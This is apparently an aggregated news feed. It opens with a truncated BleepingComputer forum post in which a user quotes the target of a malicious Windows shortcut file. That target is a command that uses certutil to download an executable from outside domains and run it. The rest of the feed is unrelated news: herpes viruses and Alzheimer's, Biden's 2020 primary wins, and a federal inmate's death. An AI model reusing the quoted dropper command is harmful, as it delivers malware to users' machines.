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.Lnk file with cmd usage - Virus, Trojan, Spyware, and Malware Removal Help - BleepingComputer

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.Lnk file with cmd usage - Virus, Trojan, Spyware, and Malware Removal Help - BleepingComputer.Lnk file with cmd usage - Virus, Trojan, Spyware, and Malware Removal Help - BleepingComputerPosted: 06 Jul 2020 11:33 AM PDT Hi all,Looking for feedback on the likelihood my double clicking of a bad .lnk file caused damage.. When I did double click it, I remember getting a standard windows dialog box. I believe it said the path did not exist or shortcut unavailable.. I'm not finding anything in my startup folder for C:\programdata or my username appdata startup folder...  I ran scans with malwarebytes, Hitman with no results.The .lnk file target was:%ComSpec% /v:on/c(SET V4=/?8ih5Oe0vii2dJ179aaaacabbckbdbhhe=gulches_%PROCESSOR_ARCHITECTURE% !H!&SET H="%USERNAME%.exe"&SET V4adKK47=certutil -urlcache -f https://&IF NOT EXIST !H! (!V4adKK47!izub.fun!V4!||!V4adKK47!de.charineziv.com!V4!&!H!))>nul 2>&1The .lnk file 'start-in' was:"%APPDATA%\Mic…

Growing evidence implicates herpes viruses in Alzheimer's - Axios

Growing evidence implicates herpes viruses in Alzheimer's - Axios


Growing evidence implicates herpes viruses in Alzheimer's - Axios

Posted: 21 Jun 2018 12:00 AM PDT

Beyond the chicken pox and flu, viruses are increasingly believed to play a role in other serious diseases, like cancer and brain diseases.

Case in point: Researchers announced today in Neuron that they found more live herpes viruses in the brains of patients with Alzheimer's disease than in those without the disorder. This doesn't prove the virus causes the fatal neurodegenerative disease 5.7 million Americans currently live with, but it suggests it plays a role in Alzheimer's pathology and may inform treatment.

The Alzheimer's study

The research team — from Mount Sinai and the Arizona State University-Banner Neurodegenerative Disease Research Center — examined data from 622 brain donors with late-onset Alzheimer's disease (AD) and 322 without the disease, and sequenced their exome DNA to see each person's inherited genes.

  • They also looked at clinical assessments of the patient taken before they died to see the trajectory of their cognitive decline and pathology assessments after they died to check the severity of plaques and tangles.

"The data sets we used in the study are some of the first data sets where we had deep genomic sequencing of tissue collected directly from affected brains, which enabled an entirely new opportunity to look for viral sequences," study author Joel Dudley tells Axios.

What they found: Two strains of herpes virus were prevalent and active in the brains of people with Alzheimer's — human herpes virus (HHV) 6A and 7, which are found inactive in most people due to childhood infections like roseola.

  • However, these dormant viruses can "wake up" and cause tissue damage and cell death, says the University of South Florida College of Medicine's Peter Medveczky, who was not part of this study.
  • One train of thought is that "there are 5 of 6 genes linked to Alzheimer's. It may be that the protein from these viruses can act as transcription factors and cause the expression of those genes," explains Sam Gandy, study author and Alzheimer's disease specialist at Icahn School of Medicine at Mount Sinai.

The issue: Many people have HHV 6A and 7 in their system, but not all get Alzheimer's, says Anthony Komaroff, a Harvard Medical School professor and senior physician at Brigham and Women's Hospital who was not part of this study.

"This study makes a link to AD more plausible (but still far from proven) by showing that there is more virus in the brains of patients with AD, that the virus is active (making proteins), and that those proteins interact with human genes that have previously been linked to AD."

— Anthony Komaroff

Potential impact: This could change the targets for Alzheimer's drugs, several scientists said. As NPR points out, one possibility is to give antiviral drugs to people with high levels of herpes virus in their brains. The other is to try to prevent the brain's immune system from reacting to the virus in a way that accelerates AD.

"This work will undoubtedly stimulate novel medical interventions to inhibit activity of these viruses in patients with mild or pre-Alzheimer's disease."

— Peter Medveczky

What's next: Dudley says they're seeking funding for studies on living people to better understand how the virus gets into brain tissues. Some believe they are carried via white blood cells, whereas others say it may enter through the olfactory nerve traveling from the nose to the brain.

The role of viruses in other diseases

The complex relationship between human genes and the factors that affect them, including environment, bacteria and viruses, is becoming clearer.

  • "Viruses and bacteria have been shown to cause several kinds of cancer, like cancer of the stomach, liver, cervix, and lymph glands (lymphoma)," Komaroff says.
  • For example, Epstein-Barr virus may play a role in various autoimmune disorders, like lupus, multiple sclerosis, rheumatoid arthritis, inflammatory bowel disease, type 1 diabetes, juvenile idiopathic arthritis and celiac disease, although Komaroff points out this is not yet proven.
  • "There is some evidence that viruses may play a role in causing diseases of the hormone (endocrine) system, and even in atherosclerosis (the biggest killer of people in the developed nations)," Komaroff says.

Go deeper: The Mount Sinai research team made a video about their findings.

With wins, Biden tightens grip on Democratic nomination fight - KRMG

Posted: 10 Mar 2020 12:00 AM PDT

Former Vice President Joe Biden took an even stronger hold on the Democratic race for the White House on Tuesday night, easily winning a majority of delegates in voting from six states, notching big wins in Michigan, Missouri, and Mississippi, and adding to his overall delegate lead.

"Together we are bringing this party together," Biden said in Philadelphia.

Instead of speaking to a big campaign rally jammed with a cheering crowd, Biden canceled a planned event in Cleveland over worries surrounding the Coronavirus.

He used his remarks to a smaller group of supporters to urge his critics to join his campaign.

"I want to thank Bernie Sanders and his supporters for their tireless energy and their passion," Biden said. "We share a common goal, and together we'll defeat Donald Trump."

While Biden is still far away from the magic number to clinch the Democratic Party nomination, his wins last night made it that much more difficult for Sanders to catch him.

With his own campaign event in Cleveland also canceled because of the Coronavirus, Sanders went back to his home town of Burlington, Vermont, as he did a week ago on Super Tuesday.

But unlike Super Tuesday, Sanders made no statement to cameras or reporters, a highly unusual move during a presidential primary race.

"Tonight's a tough night," Rep. Alexandria Ocasio-Cortez (D-NY) acknowledged in a live chat on Instagram as the votes came in.

Some of his top supporters vowed to press on.

Next up are four important states for November - Arizona, Illinois, Ohio, and Florida, as 577 delegates are at stake next week, with a debate planned for Sunday night in Phoenix between Biden and Sanders.

AP sources: Inmate fatally beaten at US prison in Illinois - MyStateline.com

Posted: 06 Mar 2020 12:00 AM PST

FILE – In this Monday, Nov. 16, 2009 file photo, an aerial view of the vacant Thomson Correctional Center is seen in Thomson, Ill., before that state sold it to the Bureau of Prisons. An inmate was killed Thursday, March 5, 2020, after being beaten inside the USP Thomson high-security federal prison in Illinois. That's according to two people familiar with the matter who spoke to The Associated Press on Friday. (AP Photo/Charles Rex Arbogast, File)

WASHINGTON (AP) — An inmate was killed after being beaten by another prisoner inside a high-security federal prison in Illinois, two people familiar with the matter told The Associated Press on Friday.

The Thursday death is the latest serious security issue for the federal Bureau of Prisons, which has been plagued by chronic violence, serious misconduct and persistent staffing shortages, and it once again raises questions about whether officials at the embattled Justice Department agency can adequately protect the safety of the more than 175,000 federal inmates across the U.S.

On Thursday, officers at another Bureau of Prisons facility — the Metropolitan Correctional Center in New York City, where wealthy financier Jeffrey Epstein killed himself in August — found a loaded handgun during a lockdown. And on Friday, federal prosecutors announced that four Bureau of Prisons officers had been indicted for lying about three inmate deaths at a prison in North Carolina in 2019.

The death at USP Thomson, a high-security federal penitentiary about 150 miles west of Chicago, comes just a week after Attorney General William Barr named a new director of the Bureau of Prisons.

In a statement, the agency said the 31-year-old inmate, Matthew Phillips, was found unresponsive at the prison on Monday. The facility houses more than 1,000 male inmates.

Phillips, who was serving a sentence of more than 7 years for distributing heroin and money laundering, suffered life-threatening injuries and was brought to a local hospital, where he died Thursday, the statement said.

The Bureau of Prisons did not disclose details of the circumstances leading to Phillips' death, but two people familiar with the matter told the AP that Phillips was severely beaten. The people were not authorized to discuss the matter publicly and spoke on condition of anonymity.

The Bureau of Prisons said it notified the FBI and that no staff members or other inmates were injured.

Homicides in federal prisons are relatively rare. Federal statistics show 160 federal prisoners were killed between 2001 and 2016.

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